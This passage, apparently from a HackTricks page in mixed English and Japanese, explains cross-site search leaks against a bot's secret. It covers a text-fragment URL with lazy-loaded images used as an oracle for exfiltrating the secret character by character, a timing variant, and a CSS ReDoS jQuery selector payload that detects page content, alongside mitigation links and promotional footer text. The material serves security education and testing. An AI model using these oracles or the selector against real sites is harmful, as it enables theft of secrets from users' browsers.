#:~:text=SECR
```
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**.

Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Image Lazy Loading Time Based

If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the [**solution of this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sumarized here:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## 防御

[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)において推奨される緩和策があり、また[https://xsleaks.dev/](https://xsleaks.dev/)の各セクションにもあります。これらのテクニックに対抗する方法についての詳細はそちらを参照してください。

## 参考文献

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}